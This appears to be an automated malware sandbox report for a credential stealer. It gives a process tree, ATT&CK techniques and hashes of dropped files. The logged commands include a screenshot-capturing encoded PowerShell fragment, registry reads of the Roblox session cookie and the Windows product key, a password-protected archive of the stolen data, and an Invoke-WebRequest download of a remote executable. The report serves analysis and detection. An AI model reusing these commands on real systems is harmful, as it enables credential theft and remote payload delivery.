AAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3552
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vmjvbhs0\vmjvbhs0.cmdline"
        6⤵
        
        PID:3536
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES402D.tmp" "c:\Users\Admin\AppData\Local\Temp\vmjvbhs0\CSC775FADAD1A54ED98763616F494F324.TMP"
        7⤵
        
        PID:1336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:3756
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:3788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4728
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1152
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:2112
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4464
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5104"
      4⤵
      PID:5608
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5104
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4740"
      4⤵
      PID:2408
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4740
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 332"
      4⤵
      PID:1748
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 332
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4960"
      4⤵
      PID:5272
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4960
        5⤵
        Kills process with taskkill
        
        PID:1268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2252"
      4⤵
      PID:4360
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2252
        5⤵
        Kills process with taskkill
        
        PID:5788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 612"
      4⤵
      PID:2264
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 612
        5⤵
        Kills process with taskkill
        
        PID:4940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3304"
      4⤵
      PID:5760
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3304
        5⤵
        Kills process with taskkill
        
        PID:1604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1620"
      4⤵
      PID:2032
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1620
        5⤵
        Kills process with taskkill
        
        PID:812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      PID:2916
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:3732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6060"
      4⤵
      PID:4832
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 6060
        5⤵
        Kills process with taskkill
        
        PID:1808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:1584
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:5964
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        
        PID:5796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28042\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\8gEbD.zip" *"
      4⤵
      PID:5644
    - - C:\Users\Admin\AppData\Local\Temp\_MEI28042\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI28042\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\8gEbD.zip" *
        5⤵
        Executes dropped EXE
        
        PID:1312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:4176
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        
        PID:2828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:1392
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:1620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:3620
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:3404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:4568
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:4884
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      PID:6036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        
        PID:5140
- C:\Users\Admin\AppData\Local\Temp\Temp1_wti.zip\wti.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_wti.zip\wti.exe"
  2⤵
  PID:2912
- - C:\Users\Admin\AppData\Local\Temp\Temp1_wti.zip\wti.exe
    "C:\Users\Admin\AppData\Local\Temp\Temp1_wti.zip\wti.exe"
    3⤵
    - Loads dropped DLL
    PID:1192
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3788
- C:\Users\Admin\Downloads\wti\winx.exe
  "C:\Users\Admin\Downloads\wti\winx.exe"
  2⤵
  PID:3208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/JjlTHchjP" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    PID:368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:2396
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2920
- C:\Users\Admin\Downloads\wti\wti.exe
  "C:\Users\Admin\Downloads\wti\wti.exe"
  2⤵
  PID:1592
- - C:\Users\Admin\Downloads\wti\wti.exe
    "C:\Users\Admin\Downloads\wti\wti.exe"
    3⤵
    - Loads dropped DLL
    PID:4012
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /7
  2⤵
  - Checks SCSI registry key(s)
  PID:5184

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1808

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4452

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3424

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7OUVBMzlBNEMtNEJGRi00ODE1LTlBRDgtN0VEMzE5Qjk3RTgyfSIgdXNlcmlkPSJ7NTI1QUE2MEMtQ0I0Ni00NDkwLUI1RUMtQTU5NjExOTUxMUI2fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RDI3QkRFOEQtNDRDOS00NTNELTkzMEUtREZBQkEwMTYzOUIxfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU5ODUiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODQ0NDQzNjAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MDc1NjI3NDY0Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:5404

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5600

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler
1⤵
- System Location Discovery: System Language Discovery
PID:5684

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:676
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Temp1_newintsh-1.zip\newintsh-1\gJWmHb
  2⤵
  PID:1956

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log

Filesize
512KB

MD5
10d201999d219d1e34f3901fe9b3efd4

SHA1
ac2127b75a1a7b0ca612d15aaae08a7d22406cfb

SHA256
47ea146c6085a1959985ed08d5a5ff13ab0a5efa8b692fa890c33a2dd36bccc3

SHA512
37472da31293b4d4d174b17f450f16cca225a718ae790b2621e8bc24038208be25abce0a90bc8c231a78956e7a5978bf5c48d30deb217fc4b5b018f2dd21b7d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.log

Filesize
323B

MD5
4af72c00db90b95c23cc32823c5b0453

SHA1
80f3754f05c09278987cba54e34b76f1ddbee5fd

SHA256
5a99dc099cb5297a4d7714af94b14f170d8a0506899c82d6b8231a220f8dba5d

SHA512
47aa798c4822bfd0b2a9110fcd1531494da99cf6e4aba5b59bfc36e21fcb1bdb5378189318bbb8519f0e8be732d90637f787ab63997d106bbcff31396155f9ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a230789a90c3150dde7ed452a9b35a08

SHA1
e934d8dce045c99a5d4ce22d6e470f787ca2e027

SHA256
b754b918a9236857008c518409ee816120e5f55430218c03a7c9b2af56cdece3

SHA512
f258391b4cfa5f4b7537d15af1af661dc58926a63fbf8238fe564e9e80525fc3b4b04719611d1619e036f56808c460363205ae06c835570b77f97b31009371a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
91aff9098a47bb8e012e47e54f6bceaa

SHA1
7993f5174f54489cac8b04c1356b7b47da944202

SHA256
cc46d5631b8526010ae5e52980fe9fd9b38c4cb27f56cd524b321ab091685cbb

SHA512
184defaee159dc93c128c5a7a2ce15e9cbf99bac58ea2372642c30bf6f1f52e178a110e0e86204ba65d82b7a7fd5514cbe7092daacceecb1aab6cc6a208e850b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000f

Filesize
483KB

MD5
61db5cae3c9078e28a5c34b5a1307455

SHA1
b16214a8af632d5044caeb5679250b160f86fcb8

SHA256
ae6c46b652e74c01bf7a6dd68771861e65e2b0b3ae158c2ad9ff68f739116db0

SHA512
79adb5e90259d2b41d9d648227867f22f95de22e32a04dae970ea06bbfdb791765e47dcf9551ccff9206f3b77d2f20a552a5624009a4ba1b4b81fbda568340c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
5e3a5f7fa113ad0852759984eade53a2

SHA1
2a8bbdb1216a7fe8cddf0e9e39e9937c176809de

SHA256
aad7fb6ce0580097d12410a78830be784a3e60248ae085bb9de0bee12f70343d

SHA512
282b3d3c26c3fc1e4bc01b41285000ce871b920b14fed6acba0dc6eee7574b6a07f97897b2578e0a6602b782021e8e29825c787406ea5b0f7d5366c142ef8d9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
807419ca9a4734feaf8d8563a003b048

SHA1
a723c7d60a65886ffa068711f1e900ccc85922a6

SHA256
aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631

SHA512
f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
501B

MD5
2464c8f99a96c693c39d6bbd47aaf93e

SHA1
e3076d1eb9b7714c4ff1d0e9af2a014eac3a26ac

SHA256
6083e224e31a389190b3d1df1602e3e6187577ed00051108e71fad82791ba7fe

SHA512
3fbe6c5640763343de1c80364b07ea3aef6db9c2619b2488822ff65f81f3dbb7bbcf2153ab709b58e3d51a82a72d5fe38882c2b0df8cd7893fe469441bfbcc1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
424B

MD5
e241615ff8b7984653d581d340312365

SHA1
e66ec31f6a74fa31f16b1c5a29fe40447e7a35e7

SHA256
600f1deb40341019de316bbc8cc089272e49c24b0935d7abaaedab33433bff77

SHA512
26c5228ed9d8df610967cba7c1402d4a746df35782a811f95a31129f15934ccbf4ecb859431460fd5e26ec1f8266f0d264765200a541ca3bd4c5bf294dc3a80b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
33696cb6170494db7c707d5b8fc944e4

SHA1
1927c2322122afe93b99f27ae9427f2ac5b639b2

SHA256
cfeb057afd3196cc5167649e522fb37c71ea3fabaaeaea44ddaaefb5cfb86c49

SHA512
5cd48c51703349f7f98bebabcac1246b47f3dc7add4dbaaf231e4c83a7bd150d2099dead34ef8f266f7ae3803b87a8aa96a8e7095fbd32e66f736eb253c9f0ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
f2a6a9dba49668334c60558d3401cb4d

SHA1
08be7b0f729cba089f85ec5dc2bf07fc217baecc

SHA256
31d8b75b8f7de4c659331e677b5d42cdf15cbf04d0a4173f027c5a95c493aba8

SHA512
cb4039d2de452a8005d68831ee9ec96fac22fa29fbd52573d9ae2fd9543432b72135a448de455cea7b7c256d590cf27b1e5982fdaa183cf7d661b257b4d540db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
a74a8e8a90e96e56b9784bf8e4a553d4

SHA1
afc203559e27d4514ce1e22eca2ee03e99a26041

SHA256
29c3d8f92a5fa2614b57735f263d3a5e6ca6d8966ff28933751231aae8c57d62

SHA512
699a21268643e39a98f0ee0b0b16b2d624312045a64fe950335bc2b1f2cef8239738aaa068523228c3a4aee2b9b9dcbc2aa54021168415c5fb83096168f62617

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
a71a6fdfe147f915c6f3127c9ac14825

SHA1
041c1571cf6f73adb038ebd39e2242473ed3dcf2

SHA256
f9a529c737c22ac3a65faecc983eb0097b9e19533f8098e040d5289bd7d5d2e6

SHA512
b2c7993232e0a2600511758e90200229c4217c757a95f062e2577627221bf7aa31f8264cf61b03d252d15ebf3fac05da16930ca9a94417af989d6ef3eeb1e15e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
707B

MD5
1de8c963a61a8068edf9050b30a8a2e7

SHA1
7b4ec9de8de2ccdd05e106f3f25ddcd8eef4e727

SHA256
e3ca6b48589ddc0a1e0d4bf0035784adb5aba92dcbd9a3786b40f6fa46904706

SHA512
cf44ed70d1d60cb45883f28aca9ab98219f527abd6aafd088fa9104b6b70720d09963206068cdcc97309a072770296c45096b4e974483340e3a0678792dfd4e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
875B

MD5
a7b635372b744d7c29f6fcd6c07a8f12

SHA1
53518d840c40b585a55374c429da0b44349196ee

SHA256
b8ec434417fab554fee10e0e39bf792f57a33c6db932909f51dad8c076fa3c0b

SHA512
4e5b0b964436663ab76e511aa4242075d20bec241740dab9ddff7e73a59d603c67cae7e19488e4002bf4cbd6f39aa835abcca0617311047ba4956be465db22b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
875B

MD5
641b7bc07ac71c1f45813f24934d17fc

SHA1
a8c369fa479e6f483a059e8ba341c697cd7ca460

SHA256
5491b213a2f89b456f2efdbeca43ab319d7f617ab1aa9c4b833948d4bab171d2

SHA512
5ff1c3cf592bbff823405f53025c49a46e74e5557fceefab1bdbcfa1d3ab146b065024feec8895660cee7613a2a158b9193a6e045b492212eb76cf4f9442fb11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57eb69.TMP

Filesize
539B

MD5
25a4704732beac168b2347ffbea8960a

SHA1
12836c700fa01a2f6620f6a3fdeefaeefbcaefa4

SHA256
ec3738f62a34ce4fc32b391dc72331a1d877506861e150f5759f1825e16a4630

SHA512
4f8a4bdaaf7892baa2b1b2570467d565e9c250ca35457820f02e3f5652df5e7f00d4cd2671e490a0bc363b015b424e854ddbe9ef552babd53534dc00de078908

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
